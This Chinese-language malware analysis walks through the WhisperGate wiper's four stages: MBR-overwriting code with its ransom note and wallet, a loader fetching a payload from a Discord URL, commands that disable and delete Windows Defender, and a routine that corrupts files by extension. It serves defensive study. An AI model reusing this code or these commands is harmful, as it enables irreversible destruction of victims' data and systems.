针对乌克兰组织的破坏性恶意软件WhisperGate分析
概述
微软威胁情报中心(MSTIC)已经确认了一个针对乌克兰多个组织的破坏性恶意软件攻击活动,恶意软件于2022年1月13日首次出现在受害者的系统中。
本文主要对攻击中的破坏性恶意软件进行分析。
总体流程
阶段1恶意软件分析
sub_403b60
,sub_403b60
向磁盘 0 引导扇区写入了一些数据int __usercall sub_403B60@<eax>(DWORD a1@<ebp>)
{
//...
dwDesiredAccess[1] = dwDesiredAccess[2];
dwDesiredAccess[0] = a1;
v1 = alloca(sub_401FE0((char)&dwCreationDisposition));
sub_401990();
qmemcpy(&dwDesiredAccess[-2054], &unk_404020, 0x2000u);
v2 = CreateFileW(L"\\\\.\\PhysicalDrive0", 0x10000000u, 3u, 0, 3u, 0, 0);
WriteFile(v2, &dwDesiredAccess[-2054], 0x200u, 0, 0);
CloseHandle(v2);
return 0;
}
b'\xeb\x00\x8c\xc8\x8e\xd8\xbe\x88|\xe8\x00\x00P\xfc\x8a\x04<\x00t\x06\xe8\x05\x00F\xeb\xf4\xeb\x05\xb4\x0e\xcd\x10\xc3\x8c\xc8\x8e\xd8\xa3x|f\xc7\x06v|\x82|\x00\x00\xb4C\xb0\x00\x8a\x16\x87|\x80\xc2\x80\xber|\xcd\x13r\x02s\x18\xfe\x06\x87|f\xc7\x06z|\x01\x00\x00\x00f\xc7\x06~|\x00\x00\x00\x00\xeb\xc4f\x81\x06z|\xc7\x00\x00\x00f\x81\x16~|\x00\x00\x00\x00\xf8\xeb\xaf\x10\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00AAAAA\x00Your hard drive has been corrupted.\r\nIn case you want to recover all hard drives\r\nof your organization,\r\nYou should pay us $10k via bitcoin wallet\r\n1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via\r\ntox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65\r\nwith your organization name.\r\nWe will contact you to give further instructions.\x00\x00\x00\x00U\xaa'
seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000 segment byte public 'CODE' use16
seg000:7C00 assume cs:seg000
seg000:7C00 ;org 7C00h
seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:7C00 jmp short $+2
seg000:7C02 ; ---------------------------------------------------------------------------
seg000:7C02
seg000:7C02 loc_7C02: ; CODE XREF: seg000:7C00↑j
seg000:7C02 mov ax, cs
seg000:7C04 mov ds, ax
seg000:7C06 mov si, 7C88h
seg000:7C09 call $+3
seg000:7C0C push ax
seg000:7C0D cld
seg000:7C0E
seg000:7C0E loc_7C0E: ; CODE XREF: seg000:7C18↓j
seg000:7C0E mov al, [si]
seg000:7C10 cmp al, 0
seg000:7C12 jz short loc_7C1A
seg000:7C14 call sub_7C1C
seg000:7C17 inc si
seg000:7C18 jmp short loc_7C0E
seg000:7C1A ; ---------------------------------------------------------------------------
seg000:7C1A
seg000:7C1A loc_7C1A: ; CODE XREF: seg000:7C12↑j
seg000:7C1A jmp short loc_7C21
seg000:7C1C
seg000:7C1C ; =============== S U B R O U T I N E =======================================
seg000:7C1C
seg000:7C1C
seg000:7C1C sub_7C1C proc near ; CODE XREF: seg000:7C14↑p
seg000:7C1C mov ah, 0Eh
seg000:7C1E int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:7C1E ; AL = character, BH = display page (alpha modes)
seg000:7C1E ; BL = foreground color (graphics modes)
seg000:7C20 retn
seg000:7C20 sub_7C1C endp
seg000:7C20
seg000:7C21 ; ---------------------------------------------------------------------------
seg000:7C21
seg000:7C21 loc_7C21: ; CODE XREF: seg000:loc_7C1A↑j
seg000:7C21 ; seg000:7C5B↓j ...
seg000:7C21 mov ax, cs
seg000:7C23 mov ds, ax
seg000:7C25 mov ds:word_7C78, ax
seg000:7C28 mov dword ptr ds:word_7C76, 7C82h
seg000:7C31 mov ah, 43h ; 'C'
seg000:7C33 mov al, 0
seg000:7C35 mov dl, ds:byte_7C87
seg000:7C39 add dl, 80h
seg000:7C3C mov si, 7C72h
seg000:7C3F int 13h ; DISK - IBM/MS Extension - EXTENDED WRITE (DL - drive, AL - verify flag, DS:SI - disk address packet)
seg000:7C41 jb short loc_7C45
seg000:7C43 jnb short loc_7C5D
seg000:7C45
seg000:7C45 loc_7C45: ; CODE XREF: seg000:7C41↑j
seg000:7C45 inc ds:byte_7C87
seg000:7C49 mov ds:dword_7C7A, 1
seg000:7C52 mov ds:dword_7C7E, 0
seg000:7C5B jmp short loc_7C21
seg000:7C5D ; ---------------------------------------------------------------------------
seg000:7C5D
seg000:7C5D loc_7C5D: ; CODE XREF: seg000:7C43↑j
seg000:7C5D add ds:dword_7C7A, 0C7h
seg000:7C66 adc ds:dword_7C7E, 0
seg000:7C6F clc
seg000:7C70 jmp short loc_7C21
seg000:7C70 ; ---------------------------------------------------------------------------
seg000:7C72 db 10h
seg000:7C73 align 2
seg000:7C74 db 1, 0
seg000:7C76 word_7C76 dw 0 ; DATA XREF: seg000:7C28↑w
seg000:7C78 word_7C78 dw 0 ; DATA XREF: seg000:7C25↑w
seg000:7C7A dword_7C7A dd 1 ; DATA XREF: seg000:7C49↑w
seg000:7C7A ; seg000:loc_7C5D↑w
seg000:7C7E dword_7C7E dd 0 ; DATA XREF: seg000:7C52↑w
seg000:7C7E ; seg000:7C66↑w
seg000:7C82 db 41h ; A
seg000:7C83 db 4 dup(41h)
seg000:7C87 byte_7C87 db 0 ; DATA XREF: seg000:7C35↑r
seg000:7C87 ; seg000:loc_7C45↑w
seg000:7C88 aYourHardDriveH db 'Your hard drive has been corrupted.',0Dh,0Ah
seg000:7C88 db 'In case you want to recover all hard drives',0Dh,0Ah
seg000:7C88 db 'of your organization,',0Dh,0Ah
seg000:7C88 db 'You should pay us $10k via bitcoin wallet',0Dh,0Ah
seg000:7C88 db '1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via',0Dh,0Ah
seg000:7C88 db 'tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23'
seg000:7C88 db '054C057ECED5496F65',0Dh,0Ah
seg000:7C88 db 'with your organization name.',0Dh,0Ah
seg000:7C88 db 'We will contact you to give further instructions.',0
seg000:7DFB db 3 dup(0), 55h, 0AAh
seg000:7DFB seg000 ends
汇编代码比较清晰,即向屏幕输出“你的硬盘被破坏了,请支付赎金”,并给出了非常简略的联系方式。似乎该破坏行动是为了单纯的破坏,而不是勒索钱财。
值得注意的是,这段代码会在关机重启后执行,所以一旦发现感染了病毒,及时清除病毒并修复引导扇区,可以直接阻止恶意行为。
阶段2分析
public static void Main()
{
for (;;)
{
IL_64:
Console.WriteLine(Application.ExecutablePath);
for (;;)
{
int num = 1;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_d3e3b107f8904fb69ad941560b17473e == 0)
{
goto IL_15;
}
IL_2E:
// non-use code
IL_03:
Manager.LogoutFacade();
num = 0;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_3c87806b12d7438cba956510142600ea != 0)
{
goto IL_2E;
}
IL_15:
Console.WriteLine(Application.StartupPath);
num = 2;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_774b9210d98142ebb4413559daae5a44 == 0)
{
goto IL_03;
}
goto IL_2E;
}
}
Manager.LogoutFacade
public static void LogoutFacade()
{
Type[] array = Manager.PushItem(Manager.ListItem());
Type[] array2 = array;
// non-use code
}
Manager.ListItem
,ListItem 调用了Facade.PrintFacade()
public static Assembly PrintFacade()
{
Assembly assembly;
assembly = Facade.LogoutItem(Facade.ChangeFacade());
// non-use code
Assembly result;
return result;
IL_33:
result = assembly;
return result;
}
Facade.ChangeFacade
private static byte[] ChangeFacade()
{
byte[] result;
for (;;)
{
Facade.ValidateItem();
int num = 1;
// break
goto IL_39;
}
goto IL_AC;
IL_39:
IL_3A:
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
}
catch
{
}
IL_4A:
byte[] array = (byte[])Facade.UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x", ""), new Type[]
{
Facade.MoveItem(typeof(string).TypeHandle)
}), new WebClient(), new object[]
{
"https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg"
});
IL_9F:
bool flag = array.Length > 1;
IL_A8:
if (!flag)
{
goto IL_B8;
}
IL_AC:
Facade.InsertItem(array, 0, array.Length);
IL_B8:
result = array;
return result;
}
object_ = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==";
//...
Facade.InitItem(Facade.SetItem(new ProcessStartInfo
{
FileName = "powershell",
Arguments = Facade.SearchItem("-enc UwB0AGEAcgB0AC", object_),
WindowStyle = ProcessWindowStyle.Hidden
}));
num2++;
IL_97:
flag = (num2 < 2);
goto IL_5A;
powershell -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== # Start-Sleep -s 10
ChangeFacade 下载了一个资源文件,并且反转数组。其中 UpdateItem 调用了第一个参数的invoke()
方法。InsertItem 反转数组。
下载之后返回,再经过之前的 Assembly.Load,就执行了第三阶段的 payload
Manager.PublishItem(type.GetMethods());
private static void FillFacade(MethodInfo[] spec)
{
for (;;)
{
IL_BB:
for (;;)
{
IL_B6:
int i = 0;
IL_A9:
while (i < spec.Length)
{
int num = 1;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_2c14d7a09b2547d0bb8f361f957318cd == 0)
{
goto IL_3F;
}
for (;;)
{
IL_71:
MethodInfo methodInfo;
switch (num)
{
case 1:
methodInfo = spec[i];
goto IL_53;
case 2:
case 4:
case 6:
goto IL_A9;
case 3:
goto IL_53;
case 5:
case 9:
goto IL_B6;
case 8:
return;
case 10:
goto IL_BB;
case 11:
goto IL_15;
}
break;
IL_15:
bool flag;
if (!flag)
{
num = 0;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_998eb8dec19c46dbadb23b38e4845884 != 0)
{
break;
}
continue;
}
else
{
methodInfo.Invoke(null, null);
num = 2;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_a1c1ff6dd32b4941b387e9a3f27456af != 0)
{
break;
}
continue;
}
IL_53:
flag = Manager.ReflectItem(methodInfo.Name, "Ylfwdwgmpilzyaph");
goto IL_15;
}
IL_3F:
i++;
num = 1;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_dd2f1ebca64349f79180980532b8e09c != 0)
{
goto IL_71;
}
}
return;
}
}
}
在查找一个名为Ylfwdwgmpilzyaph
的方法,然后调用。
阶段3分析
public static void Ylfwdwgmpilzyaph()
{
Class57.smethod_0().method_15(Class57.smethod_2(), "#6k@H!uq=A", null);
}
Class57.smethod_2()
public static Stream smethod_2()
{
if (Class57.stream_0 == null)
{
Class57.stream_0 = Class77.smethod_0(typeof(Class57).Assembly.GetManifestResourceStream("7c8cb5598e724d34384cce7402b11f0e"), new byte[]
{
180,
// ...
194
}, Class57.smethod_1());
}
return Class57.stream_0;
}
加载了一个资源,然后调用Class77.smethod_0
[reflection.assembly]::LoadFile("C:/Users/kali/Desktop/stage3.bin/stage3-cleaned.dll")
[ClassLibrary1.Main]::Ylfwdwgmpilzyaph()
调试中发现,很多 API 都不是直接调用,猜测有反射调用方法。
也就是说,\u0002\u2008 的两个重载函数 \u0002 调用了 windowsAPI,而第一个函数
private static void \u0002(Exception \u0002)
{
try
{
MethodInfo method = typeof(Exception).GetMethod(global::\u000F\u2004\u2000.\u0002(-1506766328), BindingFlags.Instance | BindingFlags.NonPublic, null, Type.EmptyTypes, null);
if (method != null)
{
method.Invoke(\u0002, null);
return;
}
}
//...
}
private static object \u0002(MethodBase \u0002, object \u0003, object[] \u0005)
{
if (\u0002.IsConstructor)
{
try
{
return Activator.CreateInstance(\u0002.DeclaringType, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, \u0005, null);
}
catch (AmbiguousMatchException)
{
return ((ConstructorInfo)\u0002).Invoke(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, \u0005, null);
}
}
return \u0002.Invoke(\u0003, \u0005);
}
后面观察这个 API 调用就可以了
2. 然后获取 powershell 路径
4. 判断当前用户是否是管理员
5. 获取 powershell 路径字符串的 c# 变量路径
6. 获取 windows 系统路径
7. powershell 路径是不是系统路径里面的
8. 获取 powershell 的根路径
9. 获取临时目录
10. 连接一个字符串,看上去是一个 vbs 脚本目录
11. 连接三个字符串
CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False"
即让 Windows defender 不再扫描 C 文件夹
14. 判断是否存在目标文件
然后构造一个新数组,利用 gzip 解压这个数组,并把数组写入到目标文件,并执行
后面陆续执行了几条命令,都是用 AdvancedRun 执行的
C:\Users\kali\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
/EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run"
然后获取并连接了另一字符串
解压了另一个 payload,然后注入到 InstallUtil.exe。中间有一些获取函数地址的地方。
第四阶段分析
核心逻辑在 sub_4017b0 中
UINT sub_4017B0()
{
DWORD v0; // ebx
int i; // esi
UINT result; // eax
WCHAR RootPathName[17]; // [esp+26h] [ebp-22h] BYREF
v0 = GetLogicalDrives();
qmemcpy(RootPathName, "A", 0xAu);
RootPathName[3] = 0;
for ( i = 0; i != 26; ++i )
{
result = (__int64)pow(2.0, (double)i);
if ( (v0 & result) != 0 )
{
RootPathName[0] = i + 'A';
if ( GetDriveTypeW(RootPathName) == DRIVE_FIXED || (result = GetDriveTypeW(RootPathName), result == DRIVE_REMOTE) )
{
RootPathName[3] = '*';
result = sub_40160B(RootPathName);
RootPathName[3] = 0;
}
}
}
return result;
}
int __cdecl sub_40160B(LPCWSTR lpFileName)
{
// ...
struct _WIN32_FIND_DATAW FindFileData; // [esp+40h] [ebp-268h] BYREF
hFindFile = FindFirstFileW(lpFileName, &FindFileData);
result = (int)hFindFile + 1;
if ( hFindFile != (HANDLE)-1 )
{
do
{
if ( wcscmp(FindFileData.cFileName, ::String2) )
{
if ( wcscmp(FindFileData.cFileName, L"..") )
{
if ( wcscmp(FindFileData.cFileName, asc_406086) )
{
v2 = wcslen(FindFileData.cFileName);
v3 = wcslen(lpFileName);
v6 = v2 + v3;
v4 = (wchar_t *)malloc(2 * (v2 + v3 + 4));
wcscpy(v4, lpFileName);
v4[v3 - 1] = 0;
wcscat(v4, FindFileData.cFileName);
qmemcpy(String2, L"A:\\Windows", sizeof(String2));
String2[0] = *wgetenv(L"HOMEDRIVE");
if ( wcscmp(v4, String2) )
{
if ( sub_401460(v4) )
{
v5 = v6 + 0x7FFFFFFF;
v4[v5] = 92;
v4[v5 + 1] = 42;
v4[v5 + 2] = 0;
sub_40160B(v4);
}
else
{
sub_4015B3(v4);
}
free(v4);
}
}
}
}
}
while ( FindNextFileW(hFindFile, &FindFileData) );
result = FindClose(hFindFile);
}
return result;
}
int __cdecl sub_4015B3(wchar_t *a1)
{
// ...
v1 = 0;
String2 = (const wchar_t *)sub_4014B6(a1); // 获取文件后缀名
sub_401492(String2); // 转换为大写
while ( 1 )
{
result = wcscmp(off_405020[v1], String2); // 判断一系列后缀名
if ( !result )
break;
if ( ++v1 == 195 ) // 不在列表里,直接返回
return result;
}
return sub_4014E3(a1); // 在列表里,执行这个函数
}
.HTML .HTM . .XHTML . .PHP . .ASP . . . . . . . . .DOCX .XLS . . .PPTX .PST . .MSG . .VSD . . .CSV . .WKS . .PDF . .ONETOC2 . .JPEG .JPG . . . .DOTM .DOTX .XLSM .XLSB .XLW . .XLM . .XLTX .XLTM .PPTM .POT . .PPSM .PPSX .PPAM .POTX .POTM .EDB . .602 . .STI . . . .XLSM .PPTM . .PNG . .RAW . .SLN . .TIFF .NEF . .AI .SVG . .CLASS . .BRD . .DCH . .PL .VB .VBS . .BAT . .JS .ASM . .PAS . .C . . .ASC . . .MML . .OTG . .UOP . .SXD . .ODP . .SLK . .STC . .OTS . .3DM . .3DS . .STW . .OTT . .PEM . .CSR . .KEY . .DER . .RB .GO .JAVA .RB .INC . .PY .KDBX .INI . .PPK . .VDI . . .HDD . .VMSD .VMSN .VMSS .VMTM .VMX . . . . . .IBD . .MYD . .SAV . .DBF . . .ACCDB . .SQLITEDB .SQLITE3 . .SQ3 . .PAQ . .TBK . .TAR . .GZ .7Z .RAR . .BACKUP .ISO . .BZ .CONFIG
void __cdecl sub_4014E3(wchar_t *FileName)
{
//...
v1 = wcslen(FileName);
v2 = (wchar_t *)malloc(2 * (v1 + 20));
v3 = rand();
v4 = wcslen(FileName);
swprintf(v2, (const size_t)L"%.*s.%x", (const wchar_t *const)(v4 - 4), FileName, v3);
Stream = wfopen(FileName, L"wb");
v5 = malloc(0x100000u);
memset(v5, 0xcc, 0x100000u);
fwrite(v5, 1u, 0x100000u, Stream);
fclose(Stream);
wrename(FileName, v2);
free(v2);
free(v5);
}
给文件随机添加后缀名,然后将前 0x100000 个字节更改为 0xcc,也就是烫烫烫
,注意,这种更改是不可逆、无法恢复的。
IOCs
文件名 | SHA256 |
---|---|
stage1.exe | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 |
stage2.exe | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 |
stage3.exe | 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 |
参考资料
https://paper.seebug.org/1815/
https://blog.csdn.net/Cdreamfly/article/details/105004784
https://bbs.pediy.com/thread-50714.htm
https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
https://github.com/hexfati/SharpDllLoader
https://blog.csdn.net/y97523szb/article/details/6950730
https://www.netskope.com/blog/netskope-threat-coverage-whispergate
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7978547
- 2 山里藏价值6000亿元黄金?村民发声 7907144
- 3 微信或史诗级“瘦身” 内存有救了 7873723
- 4 中国主张成为G20峰会的一抹亮色 7729780
- 5 朝鲜将军队提升至战斗准备状态 7685211
- 6 男生解锁“滑步下泰山”技能 7597568
- 7 带96岁母亲酒店养老遭拉黑 男子发声 7469415
- 8 女教师被指出轨学生 校方通报 7365295
- 9 《小巷人家》全员告别 7272089
- 10 千年古镇“因网而变、因数而兴” 7162813